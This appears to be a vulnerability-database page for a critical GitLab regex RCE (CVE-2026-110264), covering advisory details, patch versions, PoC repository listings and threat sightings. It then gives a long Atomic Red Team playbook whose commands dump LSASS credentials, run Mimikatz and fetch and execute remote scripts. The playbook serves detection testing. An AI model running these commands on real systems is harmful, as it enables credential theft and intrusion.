CVE-2026-110264

CRITICAL POC Pub 22/10 Upd 30/10

Overview

This vulnerability is an integer overflow occurring during the compilation of specially crafted regular expressions within GitLab's regex processing component. The flaw affects the regex engine used in GitLab CE/EE versions prior to 18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, and 19.5.1. The integer overflow arises from improper handling of input size calculations, leading to memory corruption in the regex compilation routine.

Vulnerability Description

An issue has been discovered in GitLab CE/EE affecting all versions from 7.0 before 18.11.13, 19.0 before 19.0.10, 19.1 before 19.1.9, 19.2 before 19.2.9, 19.3 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server due to integer overflow when compiling a specially crafted regular expression.

Impact

An attacker can execute arbitrary code on the GitLab server without authentication or user interaction, resulting in full system compromise. This allows unauthorized access to sensitive data, modification of repositories, and potential lateral movement within the network. The vulnerability enables complete takeover of the GitLab instance, severely impacting confidentiality, integrity, and availability of the affected systems and associated data.

Solution

Upgrade GitLab CE/EE to versions 18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, or 19.5.1 or later as specified in the official GitLab patch release notes. Refer to GitLab's advisory at https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-5-1-released/ for detailed patch instructions. No alternative mitigations or workarounds are provided; timely application of the vendor-supplied patches is required to remediate this issue.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products (4)

Vendor Product Version CPE
gitlab Gitlab Gitlab All cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*
gitlab Gitlab Gitlab All cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*
gitlab Gitlab Gitlab 19.5.0 cpe:2.3:a:gitlab:gitlab:19.5.0:*:*:*:community:*:*:*
gitlab Gitlab Gitlab 19.5.0 cpe:2.3:a:gitlab:gitlab:19.5.0:*:*:*:enterprise:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (13)

Repository Author Stars Forks Date Link
al4n4n/CVE-2026-110264
CVE-2026-110264: GitLab pre-auth RCE via Onigmo integer overflow in org-ruby. Docker-based validation, admin check scrip...
 al4n4n 2 1 2026-10-22 View
Masriyan/Exploit-CVE-2026-110264-GitLab-CE-EE-RCE
 Masriyan 0 1 2026-10-24 View
googlesky/CVE-2026-110264
PoC, reproducible labs, live evidence, Nuclei fingerprint, and technical report for CVE-2026-110264 — GitLab Org-mode/On...
 googlesky 0 1 2026-10-24 View
TahuCryptsi/poc-gitlab-onigmo-cve-2026-110264
CVE-2026-110264 — GitLab Unauthenticated RCE (Onigmo regex repeat-ID overflow, CVSS 10.0). Docker-verified crash PoC on ...
 TahuCryptsi 0 1 2026-10-22 View
mehmet-emir-eroglu/CVE-2026-110264
Non-invasive Python detector for CVE-2026-110264 in GitLab, featuring version checks, offline log analysis, and JSON rep...
 mehmet-emir-eroglu 0 0 2026-10-24 View
emirwtz/CVE-2026-110264
Non-invasive Python detector for CVE-2026-110264 in GitLab, featuring version checks, offline log analysis, and JSON rep...
 emirwtz 0 0 2026-10-24 View
lesterlam/onigmo-cve-2026-110264
Reproduction lab for CVE-2026-110264 - the 16-bit ID overflow in Onigmo, the regexp engine Ruby bundles (GitLab CE/EE, C...
 lesterlam 0 0 2026-10-23 View
FranklinF25/regex2shell
regex2shell (CVE-2026-110264 + family) — GitLab/Onigmo unauth regex RCE research: safe differential detector, determinis...
 FranklinF25 0 0 2026-10-23 View
farimazhar/GitLab2Safe-Defensive-Checker
100% Defensive Scanner for CVE-2026-110264 GitLab Arbitrary File Write (PHP2Shell) - No exploit code, only version & pat...
 farimazhar 0 0 2026-10-23 View
TheGlitchFixer/gitlab-patch-check
Check whether your self-hosted GitLab version is patched against CVE-2026-110264 (CVSS 10.0 RCE) — companion script for ...
 TheGlitchFixer 0 0 2026-10-23 View
bastet-ai/gitlab-firing-range
Authorized loopback-only Docker firing range for CVE-2026-110264 (Onigmo regex integer-overflow, unauth RCE) research + ...
 bastet-ai 0 0 2026-10-23 View
xaviware/go-gitlab-cve-2026-110264-scanner
Fast, concurrent, non-intrusive exposure auditor in Go for the GitLab CE/EE unauthenticated RCE (CVE-2026-110264, CVSS 1...
 xaviware 0 0 2026-10-22 View
TahuCryptsi/gitlab-onigmo-check
Local detector for CVE-2026-110264 (GitLab Onigmo regex repeat-ID overflow, CVSS 10.0 unauth RCE). One-file Ruby check +...
 TahuCryptsi 0 0 2026-10-22 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest HIGH
Sightings Considerable activity

Threat Feed

14 events
2026-11-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-26
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-24
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-23
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-22
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-10-22
PoC Published (13 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-10-21
Threat Sensor Sighting — Some sightings

Sighting activity recorded

Detected as Exploited in the Wild (87 sightings)

Active exploitation confirmed with 87 sighting(s)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Target OS:

Deployed role: Linux · Web Server

Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.

Attack Vectors ML

Integer Overflow
100% integer_overflow
Remote Code Execution
69% rce
Code Injection
52% code_injection

MITRE ATT&CK Techniques (10)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.001 PowerShell Kill Chain execution Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1003.001 LSASS Memory Kill Chain credential-access Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1087.002 Domain Account Kill Chain discovery Linux, macOS, Windows
T1021.002 SMB/Windows Admin Shares Kill Chain lateral-movement Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-92 Forced Integer Overflow
48%
High High

Red Team Playbook

124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1003.001 Create Mini Dump of LSASS.exe using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe Upon successful execution, you should see the following file created...
Command (CMD) 
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
T1003.001 Dump LSASS with createdump.exe from .Net v5 Windows PowerShell Privileged
Use createdump executable from .NET to create an LSASS dump. [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
Command (PowerShell) 
$exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
T1003.001 Dump LSASS.exe Memory through Silent Process Exit Windows CMD Privileged
WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism introduced in Windows 7 called Silent Process Exit, which provides the ability to...
Command (CMD) 
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
T1003.001 Dump LSASS.exe Memory using NanoDump Windows CMD Privileged
The NanoDump tool uses syscalls and an invalid dump signature to avoid detection. https://github.com/helpsystems/nanodump Upon successful execution, you should find the nanondump.dmp file in the temp directory
Command (CMD) 
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
T1003.001 Dump LSASS.exe Memory using Out-Minidump.ps1 Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure powershell implementation that leverages the MiniDumpWriteDump Win32 API call. Upon successful execution, you should see the following file created...
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
T1003.001 Dump LSASS.exe Memory using ProcDump Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals ProcDump. Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp. If you see a message saying "procdump.exe is...
Command (CMD) 
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
T1003.001 Dump LSASS.exe Memory using Windows Task Manager Windows Manual
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task Manager and administrative permissions.
T1003.001 Dump LSASS.exe Memory using comsvcs.dll Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll. Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
Command (PowerShell) 
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
T1003.001 Dump LSASS.exe Memory using direct system calls and API unhooking Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection....
Command (CMD) 
"#{dumpert_exe}"
T1003.001 Dump LSASS.exe using imported Microsoft DLLs Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump file and delete it immediately to avoid brittle EDR detections that...
Command (PowerShell) 
#{xordump_exe} -out #{output_file} -x 0x41
T1003.001 Dump LSASS.exe using lolbin rdrleakdiag.exe Windows PowerShell Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with lolbin rdrleakdiag.exe. Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and $env:TEMP\results_<PID>.hlk.
Command (PowerShell) 
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
  } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
      $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
  } else {
      $binary_path = "File not found"
      exit 1
  }
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
T1003.001 LSASS read with pypykatz Windows CMD Privileged
Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa:: Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test. Successful execution of this test will display multiple usernames and passwords/hashes...
Command (CMD) 
"#{venv_path}\Scripts\pypykatz" live lsa
T1003.001 Offline Credential Theft With Mimikatz Windows CMD Privileged
The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
Command (CMD) 
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
T1003.001 Powershell Mimikatz Windows PowerShell Privileged
Dumps credentials from memory via Powershell by invoking a remote mimikatz script. If Mimikatz runs successfully you will see several usernames and hashes output to the screen. Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks...
Command (PowerShell) 
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
T1021.002 Copy and Execute File with PsExec Windows CMD Privileged
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).
Command (CMD) 
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
T1021.002 Execute command writing output to local Admin Share Windows CMD Privileged
Executes a command, writing the output to a local Admin Share. This technique is used by post-exploitation frameworks.
Command (CMD) 
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
T1021.002 Map Admin Share PowerShell Windows PowerShell
Map Admin share utilizing PowerShell
Command (PowerShell) 
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
T1021.002 Map admin share Windows CMD
Connecting To Remote Shares
Command (CMD) 
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell) 
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD) 
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell) 
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell) 
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell) 
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash) 
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell) 
Get-NetTCPConnection
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations Windows PowerShell
Executes powershell.exe with variations of the -Command parameter
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
T1059.001 ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments Windows PowerShell
Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command (PowerShell) 
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
T1059.001 Abuse Nslookup with DNS Records Windows PowerShell
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts. [reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command (PowerShell) 
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
T1059.001 Invoke-AppPathBypass Windows CMD
Note: Windows 10 only. Upon execution windows backup and restore window will be opened. Bypass is based on: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
Command (CMD) 
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
T1059.001 Mimikatz Windows PowerShell Privileged
Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed.
Command (PowerShell) 
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
T1059.001 Mimikatz - Cradlecraft PsSendKeys Windows PowerShell Privileged
Run mimikatz via PsSendKeys. Upon execution, automated actions will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed.
Command (PowerShell) 
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
T1059.001 NTFS Alternate Data Stream Access Windows PowerShell
Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command (PowerShell) 
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
T1059.001 PowerShell Command Execution Windows CMD
Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command (CMD) 
powershell.exe -e  #{obfuscated_code}
T1059.001 PowerShell Fileless Script Execution Windows PowerShell
Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that art-marker.txt is in the folder.
Command (PowerShell) 
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
T1059.001 PowerShell Invoke Known Malicious Cmdlets Windows PowerShell Privileged
Powershell execution of known Malicious PowerShell Cmdlets
Command (PowerShell) 
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
    "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
    $cmdlets}
T1059.001 PowerShell Session Creation and Use Windows PowerShell Privileged
Connect to a remote powershell session and interact with the host. Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command (PowerShell) 
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
T1059.001 PowerUp Invoke-AllChecks Windows PowerShell
Check for privilege escalation paths using PowerUp from PowerShellMafia
Command (PowerShell) 
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
T1059.001 Powershell Invoke-DownloadCradle Windows Manual
Provided by https://github.com/mgreen27/mgreen27.github.io Invoke-DownloadCradle is used to generate Network and Endpoint artifacts.
T1059.001 Powershell MsXml COM object - with prompt Windows CMD
Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
T1059.001 Powershell XML requests Windows CMD
Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed. Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
T1059.001 Powershell invoke mshta.exe download Windows CMD
Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!". Provided by https://github.com/mgreen27/mgreen27.github.io
Command (CMD) 
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
T1059.001 Run BloodHound from local disk Windows PowerShell
Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...
Command (PowerShell) 
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell
Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...
Command (PowerShell) 
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
T1059.001 SOAPHound - Build Cache Windows PowerShell
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell) 
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound
Command (PowerShell) 
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash) 
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell) 
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell) 
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell) 
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell) 
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
